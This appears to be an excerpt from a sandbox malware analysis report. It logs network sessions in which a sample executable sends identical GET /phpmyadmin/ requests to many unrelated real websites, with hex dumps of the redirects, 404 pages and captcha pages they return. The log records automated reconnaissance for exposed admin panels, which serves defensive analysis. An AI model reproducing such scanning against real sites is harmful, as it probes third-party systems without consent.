2023-11-26 05:59:31 UTC	1369	IN	Data Raw: 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 65 78 74 3a 70 2c 62 75 Data Ascii: gth;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,context:p,bu
2023-11-26 05:59:31 UTC	1369	IN	Data Raw: 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e Data Ascii: ,get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&argumen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	55166	13.234.155.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: srmist.edu.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	230	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 53 65 72 76 65 72 3a 20 61 77 73 65 6c 62 2f 32 2e 30 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 30 35 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 61 6d 7a 6e 2d 77 61 66 2d 61 63 74 69 6f 6e 3a 20 63 61 70 74 63 68 61 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 405 Not AllowedServer: awselb/2.0Date: Sun, 26 Nov 2023 05:59:31 GMTContent-Length: 2051Connection: closex-amzn-waf-action: captchaCache-Control: no-store, max-age=0Content-Type: text/html; charset=UTF-8
2023-11-26 05:59:31 UTC	2051	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 75 6d 61 6e 20 56 65 72 69 66 69 63 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 41 72 69 61 6c 22 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Human Verification</title> <style> body { font-family: "Arial"; } </

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	55067	164.52.221.51	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	214	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 31 37 32 2e 31 36 2e 31 32 33 2e 37 36 3a 32 30 33 30 2f 70 6d 61 2f 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheLocation: http://172.16.123.76:2030/pma/Content-Length: 238Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:31 UTC	238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 31 37 32 2e 31 36 2e 31 32 33 2e 37 36 3a 32 30 33 30 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://172.16.123.76:2030/pma/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	55442	104.247.74.107	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: vivanettv.co.ke Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	221	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 76 69 76 61 6e 65 74 74 76 2e 63 6f 2e 6b 65 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65 64 70 61 67 65 2e 63 67 69 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheLocation: https://vivanettv.co.ke/cgi-sys/suspendedpage.cgiContent-Length: 233Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:31 UTC	233	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 76 69 76 61 6e 65 74 74 76 2e 63 6f 2e 6b 65 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65 64 70 61 67 65 2e 63 67 69 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://vivanettv.co.ke/cgi-sys/suspendedpage.cgi">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	55508	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	528	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e Data Ascii: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://samson.pe/wp-json/>; rel="https://api.
2023-11-26 05:59:32 UTC	840	IN	Data Raw: 37 65 34 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 Data Ascii: 7e4e<!doctype html><html lang="es-PE"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><meta name='robots' content='noindex, follow' />... T
2023-11-26 05:59:32 UTC	14994	IN	Data Raw: 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 53 65 61 72 63 68 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 7b 22 40 74 79 70 65 22 3a 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 22 75 72 6c 54 65 6d 70 6c 61 74 65 22 3a 22 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 3f 73 3d 7b 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 7d 22 7d 2c 22 71 75 65 72 79 2d 69 6e 70 75 74 22 3a 22 72 65 71 75 69 72 65 64 20 6e 61 6d 65 3d 73 65 61 72 63 68 5f 74 65 72 6d 5f 73 74 72 69 6e 67 22 7d 5d 2c 22 69 6e 4c 61 Data Ascii: ription":"","publisher":{"@id":"https://samson.pe/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://samson.pe/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLa
2023-11-26 05:59:32 UTC	16384	IN	Data Raw: 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 73 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 Data Ascii: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--p
2023-11-26 05:59:32 UTC	124	IN	Data Raw: 74 2f 70 6c 75 67 69 6e 73 2f 77 70 2d 73 6d 75 73 68 69 74 2f 61 70 70 2f 61 73 73 65 74 73 2f 6a 73 2f 73 6d 75 73 68 2d 6c 61 7a 79 2d 6c 6f 61 64 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 35 2e 30 22 20 69 64 3d 22 73 6d 75 73 68 2d 6c 61 7a 79 2d 6c 6f 61 64 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: t/plugins/wp-smushit/app/assets/js/smush-lazy-load.min.js?ver=3.15.0" id="smush-lazy-load-js"></script></body></html>
2023-11-26 05:59:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	55713	76.223.105.230	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: saudi-jamac.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	288	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 36 34 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 44 50 53 2f 32 2e 30 2e 30 2b 73 68 61 2d 33 32 31 30 62 34 39 0d 0a 58 2d 56 65 72 73 69 6f 6e 3a 20 33 32 31 30 62 34 39 0d 0a 58 2d 53 69 74 65 49 64 3a 20 75 73 2d 65 61 73 74 2d 31 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 64 70 73 5f 73 69 74 65 5f 69 64 3d 75 73 2d 65 61 73 74 2d 31 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-3210b49X-Version: 3210b49X-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Sun, 26 Nov 2023 05
2023-11-26 05:59:31 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	55510	81.19.159.64	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: grg17geblergasse.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	374	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocati
2023-11-26 05:59:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	55832	192.124.249.13	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: coimbrausa.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	228	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 53 75 63 75 72 69 2f 43 6c 6f 75 64 70 72 6f 78 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 53 75 63 75 72 69 2d 49 44 3a 20 31 34 30 31 33 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: Sucuri/CloudproxyDate: Sun, 26 Nov 2023 05:59:31 GMTContent-Type: text/htmlContent-Length: 162Connection: closeX-Sucuri-ID: 14013Location: http://coimbrausa.com/phpmyadmin/
2023-11-26 05:59:31 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	55523	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
